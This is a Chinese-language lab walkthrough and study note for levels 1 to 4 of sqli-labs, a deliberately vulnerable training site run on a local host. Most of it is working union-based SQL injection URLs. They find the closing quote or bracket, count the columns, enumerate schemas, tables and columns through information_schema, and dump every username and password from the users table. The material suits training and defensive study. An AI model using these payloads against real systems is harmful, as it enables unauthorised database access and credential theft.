首先,记录一下基础知识,可能不全:
几个常用的函数:
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
常用的语句(重要):
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.users
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
注释符:# --+ --空
less-1
开始之前,为了方便笔记,我在网页源码的数据库部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符
输入?id=1',出现报错:http://192.168.5.100/sqli-labs/Less-1/?id=1'
输入?id=1,正常,说明存在字符型注入。http://192.168.5.100/sqli-labs/Less-1/?id=1
接下来爆库,爆表,爆列,查询;
用order by语句去猜列数,以下用二分法查到列数为三:http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 8 --+
http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 4 --+
http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 3 --+
用union select 联合查询去回显数据:
这里正确的查询是图2,如果按照图1查询,因为limit0.1的限制,只能输出1个,所以输入id=-1或者0让他只能查询到第二行数据才可以输出。
http://192.168.5.100/sqli-labs/Less-1/?id=1' union select 1,2,3 %23
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,3 %23
上面的操作结束以后,判断了回显位置,后面就可以利用这两列回显想要的数据
查库名:这里是3作为回显位置,语句意思是从数据库中查询数据库的名字,group concat是合并成一行输出
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23
查表名:我们要用的数据库是security 最后查询得到数据库的表信息。注:这里推荐使用图二的16进制,不用考虑单引号的问题,得到的数据是相同的
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23
查询users表的字段:(这里不知道数据库只有最后三个字段,为啥回显出这么多字段,暂且留一个疑问)
查询字段中的内容:这里推荐使用图三中的语句查询,可以一次性查询多个字段内容,并且中间有分隔符
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-2
通过输入?id=1,显示正确,可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:
以上步骤相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-2/?id=0 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-3
这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的
通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。
所以以上步骤也是相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-3/?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-4
同理,我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”)
最后得到用户名和密码:http://192.168.5.100/sqli-labs/Less-4/?id=0") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
以上就是1-4关,总结:
基本步骤:
1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+查看有多少列
3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
4. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
5. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。
第一关:id=’1‘
第二关:id=1
第三关:id=(’1‘)
第四关:id= (“1”)
只是需要闭合的sql语句不同,其他相同。